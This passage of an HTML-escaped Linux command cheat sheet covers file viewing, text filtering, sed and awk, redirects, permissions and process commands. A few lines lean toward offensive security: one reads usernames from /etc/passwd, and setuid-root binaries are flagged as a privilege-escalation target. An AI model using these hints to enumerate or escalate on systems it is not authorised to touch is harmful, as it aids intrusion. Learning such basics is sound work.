&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # print the whole file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;less&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # page through a large file (q - quit, &#x2F; - search)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # first 10 lines&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # first 20 lines&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;tail&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # last 10 lines&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;tail&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # last 20 lines&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;tail&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -f log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;         # follow a file in real time (logs)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;text-filtering&quot;&gt;Text filtering&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; pattern file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # lines containing pattern&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -i pattern file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # case-insensitive&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -v pattern file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # invert: lines WITHOUT pattern&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -c pattern file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # count matches (shorter than | wc -l)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -r pattern dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # recursive over a directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -n pattern file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # + line numbers&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;wc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -l file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # count lines&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;wc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -w file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # count words&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sort&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # sort&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sort&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; uniq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;        # drop duplicates (uniq needs sorted input!)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sort&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; uniq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # + count occurrences of each line&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -d&amp;#39;,&amp;#39; -f1 file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;      # 1st field, comma-separated&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -d&amp;#39;:&amp;#39; -f1 &#x2F;etc&#x2F;passwd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # usernames from passwd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;stream-editing&quot;&gt;Stream editing&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# sed - stream editor&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;s&#x2F;old&#x2F;new&#x2F;&amp;#39; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # replace first match per line&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;s&#x2F;old&#x2F;new&#x2F;g&amp;#39; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # replace all matches&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -n &amp;#39;5,10p&amp;#39; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # print lines 5–10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;&#x2F;pattern&#x2F;d&amp;#39; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # delete lines matching pattern&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# awk - field-based processing&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;awk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;{print $1}&amp;#39; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # 1st field (whitespace-separated)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;awk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -F&amp;#39;,&amp;#39; &amp;#39;{print $1,$3}&amp;#39; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # CSV: fields 1 and 3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;awk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;$3 &amp;gt; 100&amp;#39; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # rows where field 3 &amp;gt; 100&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;awk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;{s+=$1} END{print s}&amp;#39; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # sum a column&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;pipes-and-redirects&quot;&gt;Pipes &lt;code&gt;|&lt;&#x2F;code&gt; and redirects&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; out.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;        # overwrite stdout into a file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; out.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # append to the end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; 2&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; err.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # stderr into a file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; out&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; 2&amp;gt;&amp;amp;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # stdout AND stderr into one file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; 2&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;      # discard errors (common trick)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; tee&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; out.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # to screen AND file at the same time&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# example&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; access.log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot; 404 &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; wc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -l&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;permissions&quot;&gt;Permissions&lt;&#x2F;h2&gt;
&lt;p&gt;Decoding the permission string from &lt;code&gt;ls -l&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-rwxr-xr--&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│└┬┘└┬┘└┬┘&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│ │  │  └── other:    r--  = read&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│ │  └───── group:    r-x  = read + execute&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│ └──────── owner:    rwx  = read + write + execute&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;└────────── type:  -  file  |  d  directory  |  l  symlink&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Numeric notation (&lt;code&gt;chmod&lt;&#x2F;code&gt;): add up &lt;strong&gt;4 (r) + 2 (w) + 1 (x)&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Number&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Bits&lt;&#x2F;th&gt;&lt;th&gt;Permissions&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;7&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;rwx&lt;&#x2F;td&gt;&lt;td&gt;read + write + execute&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;6&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;rw-&lt;&#x2F;td&gt;&lt;td&gt;read + write&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;5&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;r-x&lt;&#x2F;td&gt;&lt;td&gt;read + execute&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;4&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;r--&lt;&#x2F;td&gt;&lt;td&gt;read only&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;0&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;---&lt;&#x2F;td&gt;&lt;td&gt;nothing&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 754&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;      # rwx (owner) r-x (group) r-- (other)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; +x script.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # add the execute bit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -x file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # remove it&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;chown&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; user:group f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # change owner and group&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Symbolic notation&lt;&#x2F;strong&gt; (alternative to numbers): &lt;code&gt;u&#x2F;g&#x2F;o&#x2F;a&lt;&#x2F;code&gt; (user&#x2F;group&#x2F;other&#x2F;all) with &lt;code&gt;=&lt;&#x2F;code&gt; (set), &lt;code&gt;+&lt;&#x2F;code&gt; (add), &lt;code&gt;-&lt;&#x2F;code&gt; (remove).&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; u=rwx,g=rx,o=r file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # same result as chmod 754&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; g+w file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # add write for the group&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; o-r file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # remove read for others&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -R a+X dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # add execute on directories only, recursively&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Special permission bits&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;A leading 4th digit sets special bits - &lt;strong&gt;setuid (4), setgid (2), sticky (1)&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;chmod 4755 file&lt;&#x2F;code&gt; → &lt;strong&gt;setuid&lt;&#x2F;strong&gt;: the program runs with the owner&#x27;s rights, not yours. A setuid-root binary runs as root (a privesc target).&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;setgid&lt;&#x2F;strong&gt; on a directory → new files inherit that directory&#x27;s group (shared-group abuse).&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;sticky bit&lt;&#x2F;strong&gt; on &lt;code&gt;&#x2F;tmp&lt;&#x2F;code&gt; → only a file&#x27;s owner can delete it.
In &lt;code&gt;ls -l&lt;&#x2F;code&gt; these appear as &lt;code&gt;s&lt;&#x2F;code&gt; (setuid&#x2F;setgid) or &lt;code&gt;t&lt;&#x2F;code&gt; (sticky) in the execute slot.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;processes&quot;&gt;Processes&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ps&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; aux&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                  # all processes on the system&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ps&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; aux&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; nginx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # find a process by name&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;top&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                     # interactive monitor (q - quit)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;htop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                    # more visual than top (may need installing)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;kill&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1234&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # send a terminate signal to PID 1234&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;kill&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1234&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # force kill&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # run in the background&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;jobs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                    # list background jobs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
